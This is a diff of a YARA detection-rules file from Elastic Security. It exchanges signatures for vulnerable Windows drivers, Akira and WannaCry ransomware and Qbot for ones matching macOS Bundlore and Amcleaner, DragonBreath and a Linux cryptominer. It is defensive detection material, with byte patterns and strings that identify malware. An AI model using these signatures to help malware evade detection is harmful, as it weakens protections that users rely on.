+		fingerprint = "c020567fde77a72d27c9c06f6ebb103f910321cc7a1c3b227e0965b079085b49"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$str1 = "\\Device\\RTCore64" wide fullword
-		$str2 = "Kaspersky Lab Anti-Rootkit Monitor Driver" wide fullword
+		$a = { 40 22 4E 53 49 6D 61 67 65 56 69 65 77 22 2C 56 69 6E 6E 76 63 6A 76 64 69 5A }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1 and not $str2
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Hpportio_B31E3473 : FILE
+rule ELASTIC_Macos_Trojan_Amcleaner_8Ce3Fea8 : FILE MEMORY
 {
 	meta:
-		description = "Name: HpPortIox64.sys, Version: 1.2.0.9"
+		description = "Detects Macos Trojan Amcleaner (MacOS.Trojan.Amcleaner)"
 		author = "Elastic Security"
-		id = "b31e3473-b87e-47df-b3ec-b09c69dcbb4e"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "8ce3fea8-3cc7-4c59-b07c-a6dda0bb6b85"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_HpPortIo.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
-		logic_hash = "e449b45f3cf2836254614bbdc957aa7093162fc1acd672edd931d5f240503963"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Amcleaner.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c85bf71310882bc0c0cf9b74c9931fd19edad97600bc86ca51cf94ed85a78052"
+		logic_hash = "08c4b5b4afefbf1ee207525f9b28bc7eed7b55cb07f8576fddfa0bbe95002769"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "66067334492941eb2da8c72dc0d2f55ba1c2b564904f40b6e77925262501abd9"
-		threat_name = "Windows.VulnDriver.HpPortIo"
-		severity = 50
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "e156d3c7a55cae84481df644569d1c5760e016ddcc7fd05d0f88fa8f9f9ffdae"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 48 00 70 00 50 00 6F 00 72 00 74 00 49 00 6F 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x09][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a = { 54 40 22 4E 53 54 61 62 6C 65 56 69 65 77 22 2C 56 69 6E 6E 76 63 6B 54 70 51 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Akira_02237952 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dragonbreath_B27Bc56B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Akira (Linux.Ransomware.Akira)"
+		description = "Detects Windows Trojan Dragonbreath (Windows.Trojan.DragonBreath)"
 		author = "Elastic Security"
-		id = "02237952-b9ac-44e5-a32f-f3cc8f28a89b"
-		date = "2023-07-28"
-		modified = "2024-02-13"
+		id = "b27bc56b-41a2-4b3d-bff4-a14b90debe08"
+		date = "2024-06-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Akira.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d3b5c650533d13c81e325972a912e3ff8776e36e18bca966dae50735f8ab296"
-		logic_hash = "a9b3cdddb3387251d7da90f32b08b9c1eedcdff1fe90d51f4732183666a6d467"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DragonBreath.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45023fd0e694d66c284dfe17f78c624fd7e246a6c36860a0d892d232a30949be"
+		logic_hash = "b86d5541a7e03a698ad918cdbba987474c6680353b4d2de2f8422ecd0ebcac61"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "7fcfac47be082441f6df149d0615a9d2020ac1e9023eabfcf10db4fe400cd474"
+		fingerprint = "4bc82f64191cf907d7ecf7da5453258c9be60e5dbaff770ebc22d9629bcbc7e2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "No path to encrypt" fullword
-		$a2 = "--encryption_percent" fullword
-		$a3 = "Failed to import public key" fullword
-		$a4 = "akira_readme.txt" fullword
+		$a1 = { 50 6C 75 67 69 6E 4D 65 }
+		$a2 = { 69 73 41 52 44 6C 6C }
+		$a3 = { 25 64 2D 25 64 2D 25 64 20 25 64 3A 25 64 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Microstar_D72B85B2 : FILE
+rule ELASTIC_Windows_Vulndriver_Vmdrv_7C674F8E : FILE
 {
 	meta:
-		description = "Name: NTIOLib.sys, Version: 1.0.0.0"
+		description = "Name: vmdrv.sys, Version: 10.0.10011.16384"
 		author = "Elastic Security"
-		id = "d72b85b2-b51e-4061-909c-cce531513367"
+		id = "7c674f8e-720c-48ee-9644-5566493d2546"
 		date = "2022-04-07"
 		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_MicroStar.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ed15a390d8dfbd8a8fb99e8367e19bfd1cced0e629dfe43ccdb46c863394b59"
-		logic_hash = "04e9c1f318acae5544cdc826938383bf8f6c6b838cb5828a7097383ac564f404"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Vmdrv.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
+		logic_hash = "87f29b861d5239c60e44541fe31ed90696068225b1b6d824dc9b06fcdb1597ae"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "a531bc0b1a94b532694c9ae421db258007d835e03cf2580a1b5a10e5686063e5"
-		threat_name = "Windows.VulnDriver.MicroStar"
+		fingerprint = "a1ce2c56e5c99aae124d0404750eb8cc970291e8e10cb0c81c8c618eb778c343"
+		threat_name = "Windows.VulnDriver.Vmdrv"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -62520,302 +66725,319 @@ rule ELASTIC_Windows_Vulndriver_Microstar_D72B85B2 : FILE
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 54 00 49 00 4F 00 4C 00 69 00 62 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 76 00 6D 00 64 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x00][\x00-\x40]|[\x00-\xff][\x00-\x3f])([\x00-\x1b][\x00-\x27]|[\x00-\xff][\x00-\x26])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x1a][\x00-\x27]|[\x00-\xff][\x00-\x26]))/
 
 	condition:
 		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Sourshark_F0247Cce : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Zexaf_B90E7683 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Sourshark (Windows.Trojan.SourShark)"
+		description = "Detects Linux Cryptominer Zexaf (Linux.Cryptominer.Zexaf)"
 		author = "Elastic Security"
-		id = "f0247cce-b983-41a1-9118-fd4c23e3d099"
-		date = "2024-06-04"
-		modified = "2024-06-12"
+		id = "b90e7683-84bf-4c07-b6ef-54c631280217"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SourShark.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07eb88c69437ee6e3ea2fbab5f2fbd8e846125d18c1da7d72bb462e9d083c9fc"
-		logic_hash = "0c5d802b5bfc771bdf5df541b18c7ab9de4f420fd3928bfd85b1a71cca2af1bc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Zexaf.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "98650ebb7e463a06e737bcea4fd2b0f9036fafb0638ba8f002e6fe141b9fecfe"
+		logic_hash = "d8485d8fbf00d5c828d7c6c80fef61f228f308e3d27a762514cfb3f00053b30b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "174d6683890b855a06c672423b4a0b3aa291558d8a2af4771b931d186ce3cb63"
+		fingerprint = "4ca9fad98bdde19f71c117af9cb87007dc46494666e7664af111beded1100ae4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%s\\svchost.%s"
-		$a2 = "crypto_domain"
-		$a3 = "postback_id"
+		$a = { 89 F2 C1 E7 18 C1 E2 18 C1 ED 08 09 D5 C1 EE 08 8B 14 24 09 FE }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Sourshark_Adee8A17 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_28B13E67 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Sourshark (Windows.Trojan.SourShark)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "adee8a17-cc0c-40b8-9ee6-a01b41e9befd"
-		date = "2024-06-04"
-		modified = "2024-06-12"
+		id = "28b13e67-e01c-45eb-aae6-ecd02b017a44"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SourShark.yar#L23-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07eb88c69437ee6e3ea2fbab5f2fbd8e846125d18c1da7d72bb462e9d083c9fc"
-		logic_hash = "98a4d31849a1828c2154b5032a81580f5dcc8d4a65b96dea3a727e2a82a51666"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0b50a38749ea8faf571169ebcfce3dfd668eaefeb9a91d25a96e6b3881e4a3e8"
+		logic_hash = "586ae19e570c51805afd3727b2e570cdb1c48344aa699e54774a708f02bc3a6f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f35ebe8a220693ef6288efae0d325c3f40e70836c088599cb9b620c59fab09da"
+		fingerprint = "1e85be4432b87214d61e675174f117e36baa8ab949701ee1d980ad5dd8454bac"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a = { 8B 45 08 8B 4C BE 08 8A 04 02 02 C3 02 C1 0F B6 D8 8B 44 9E 08 89 44 BE 08 8D 42 01 33 D2 89 4C 9E 08 47 83 F8 20 0F 4C D0 81 FF 00 01 00 00 7C CF 8B 16 33 FF 8B 5E 04 39 7D FC 7E 33 0F 1F 00 }
+		$a = { 05 A5 A3 A9 37 D2 05 13 E9 3E D6 EA 6A EC 9B DC 36 E5 76 A7 53 B3 0F 06 46 D1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Wannacry_D9855102 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_75C8Cb4E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Wannacry (Windows.Ransomware.WannaCry)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "d9855102-56dc-4e4c-9599-82fa52922b95"
-		date = "2022-08-29"
-		modified = "2022-09-29"
+		id = "75c8cb4e-f8bd-4a2c-8a5e-8500e12a9030"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_WannaCry.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0b7878babbaf7c63d808f3ce32c7306cb785fdfb1ceb73be07fb48fdd091fdfb"
-		logic_hash = "5edf6a42c9f20de3819b46f24be243940b79e7e9004fee3d601794ea0b534cf1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3d69912e19758958e1ebdef5e12c70c705d7911c3b9df03348c5d02dd06ebe4e"
+		logic_hash = "527fecb8460c0325c009beddd6992e0abbf8c5a05843e4cedf3b17deb4b19a1c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f96f2f0eb3cdf6e882adcad06ad10e375412dec99687b3d38d4dbe9bdde52db5"
+		fingerprint = "db68c315dba62f81168579aead9c5827f7bf1df4a3c2e557b920fa8fbbd6f3c2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "@WanaDecryptor@.exe" wide fullword
-		$a2 = ".WNCRY" wide fullword
-		$a3 = "$%d worth of bitcoin" fullword
-		$a4 = "%d%d.bat" fullword
-		$a5 = "This folder protects against ransomware. Modifying it will reduce protection" wide fullword
-		$b1 = { 53 55 56 57 FF 15 D0 70 00 10 8B E8 A1 8C DD 00 10 85 C0 75 6A 68 B8 0B 00 00 FF 15 70 70 00 10 }
-		$b2 = { A1 90 DD 00 10 53 56 57 85 C0 75 3E 8B 1D 60 71 00 10 8B 3D 70 70 00 10 6A 00 FF D3 83 C4 04 A3 }
-		$b3 = { 56 8B 74 24 08 57 8B 3D 70 70 00 10 56 E8 2E FF FF FF 83 C4 04 A3 8C DD 00 10 85 C0 75 09 68 88 }
+		$a = { 35 EE 19 00 00 EA 80 35 E8 19 00 00 3B 80 35 E2 19 00 00 A4 80 35 DC 19 00 00 }
 
 	condition:
-		5 of ($a*) or 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Qbot_D91C1384 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_17B564B4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "d91c1384-839f-4062-8a8d-5cda931029ae"
-		date = "2021-07-08"
-		modified = "2021-08-23"
-		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Qbot.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "18ac3870aaa9aaaf6f4a5c0118daa4b43ad93d71c38bf42cb600db3d786c6dda"
-		logic_hash = "8fd8249a2af236c92ccbc20b2a8380f69ca75976bd64bad167828e9ab4c6ed90"
+		id = "17b564b4-7452-473f-873f-f907b5b8ebc4"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "94f6e5ee6eb3a191faaf332ea948301bbb919f4ec6725b258e4f8e07b6a7881d"
+		logic_hash = "40cd2a793c8ed51a8191ecb9b358f50dc2035d997d0f773f6049f9c272291607"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1b47ede902b6abfd356236e91ed3e741cf1744c68b6bb566f0d346ea07fee49a"
+		fingerprint = "7701fab23d59b8c0db381a1140c4e350e2ce24b8114adbdbf3c382c6d82ea531"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a = { FE 8A 14 06 88 50 FF 8A 54 BC 11 88 10 8A 54 BC 10 88 50 01 47 83 }
+		$a = { 35 D9 11 00 00 05 80 35 D3 11 00 00 2B 80 35 CD 11 00 00 F6 80 35 C7 11 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Qbot_7D5Dc64A : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_C90C088A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "7d5dc64a-a597-44ac-a0fd-cefffc5e9cff"
-		date = "2021-10-04"
-		modified = "2022-01-13"
-		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Qbot.yar#L22-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a2bacde7210d88675564106406d9c2f3b738e2b1993737cb8bf621b78a9ebf56"
-		logic_hash = "5c8858502050494ab20a230f04c2c1cb4bfcd80f4a248dad82787d7ce67c741d"
+		id = "c90c088a-abf5-4e52-a69e-5a4fd4b5cf15"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "875513f4ebeb63b9e4d82fb5bff2b2dc75b69c0bfa5dd8d2895f22eaa783f372"
+		logic_hash = "c82c5c8d1e38e0d2631c5611e384eb49b58c64daeafe0cc642682e5c64686b60"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ab80d96a454e0aad56621e70be4d55f099c41b538a380feb09192d252b4db5aa"
+		fingerprint = "c2300895f8ff5ae13bc0ed93653afc69b30d1d01f5ce882bd20f2b65426ecb47"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "%u.%u.%u.%u.%u.%u.%04x" ascii fullword
-		$a2 = "stager_1.dll" ascii fullword
+		$a = { 35 E1 11 00 00 92 80 35 DB 11 00 00 2A 80 35 D5 11 00 00 7F 80 35 CF 11 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Qbot_6Fd34691 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_3965578D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "6fd34691-10e4-4a66-85ff-1b67ed3da4dd"
-		date = "2022-03-07"
-		modified = "2022-04-12"
-		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Qbot.yar#L44-L64"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0838cd11d6f504203ea98f78cac8f066eb2096a2af16d27fb9903484e7e6a689"
-		logic_hash = "9422d9f276f0c8c2990ece3282d918abc6fcce7eeb6809d46ae6b768a501a877"
+		id = "3965578d-3180-48e4-b5be-532e880b1df9"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d72543505e36db40e0ccbf14f4ce3853b1022a8aeadd96d173d84e068b4f68fa"
+		logic_hash = "6bd24640e0a3aa152fcd90b6975ee4fb7e99ab5f2d48d3a861bc804c526c90b6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "187fc04abcba81a2cbbe839adf99b8ab823cbf65993c8780d25e7874ac185695"
+		fingerprint = "e41f08618db822ba5185e5dc3f932a72e1070fbb424ff2c097cab5e58ad9e2db"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 75 C9 8B 45 1C 89 45 A4 8B 45 18 89 45 A8 8B 45 14 89 45 AC 8B }
-		$a2 = "\\stager_1.obf\\Benign\\mfc\\" wide
+		$a = { 35 33 2A 00 00 60 80 35 2D 2A 00 00 D0 80 35 27 2A 00 00 54 80 35 21 2A 00 00 }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Qbot_3074A8D4 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_00D9D0E9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "3074a8d4-d93c-4987-9031-9ecd3881730d"
-		date = "2022-06-07"
-		modified = "2022-07-18"
-		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Qbot.yar#L66-L97"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a"
-		logic_hash = "90c06bd09fe640bb5a6be8e4f2384fb15c7501674d57db005e790ed336740c99"
+		id = "00d9d0e9-28d8-4c32-bc6f-52008ee69b07"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "73069b34e513ff1b742b03fed427dc947c22681f30cf46288a08ca545fc7d7dd"
+		logic_hash = "535831872408caa27984190d1b1b1a5954e502265925d50457e934219598dbfd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac"
+		fingerprint = "7dcc6b124d631767c259101f36b4bbd6b9d27b2da474d90e31447ea03a2711a6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "qbot" wide
-		$a2 = "stager_1.obf\\Benign\\mfc" wide
-		$a3 = "common.obf\\Benign\\mfc" wide
-		$a4 = "%u;%u;%u;"
-		$a5 = "%u.%u.%u.%u.%u.%u.%04x"
-		$a6 = "%u&%s&%u"
-		$get_string1 = { 33 D2 8B ?? 6A 5A 5? F7 ?? 8B ?? 08 8A 04 ?? 8B 55 ?? 8B ?? 10 3A 04 ?? }
-		$get_string2 = { 33 D2 8B ?? F7 75 F4 8B 45 08 8A 04 02 32 04 ?? 88 04 ?? ?? 83 ?? 01 }
-		$set_key = { 8D 87 00 04 00 00 50 56 E8 ?? ?? ?? ?? 59 8B D0 8B CE E8 }
-		$do_computer_use_russian_like_keyboard = { B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D }
-		$execute_each_tasks = { 8B 44 0E ?? 85 C0 74 ?? FF D0 EB ?? 6A 00 6A 00 6A 00 FF 74 0E ?? E8 ?? ?? ?? ?? 83 C4 10 }
-		$generate_random_alpha_num_string = { 57 E8 ?? ?? ?? ?? 48 50 8D 85 ?? ?? ?? ?? 6A 00 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C }
-		$load_base64_dll_from_file_and_inject_into_targets = { 10 C7 45 F0 50 00 00 00 83 65 E8 00 83 7D F0 0B 73 08 8B 45 F0 89 }
+		$a = { 35 8E 11 00 00 55 80 35 88 11 00 00 BC 80 35 82 11 00 00 72 80 35 7C 11 00 00 }
 
 	condition:
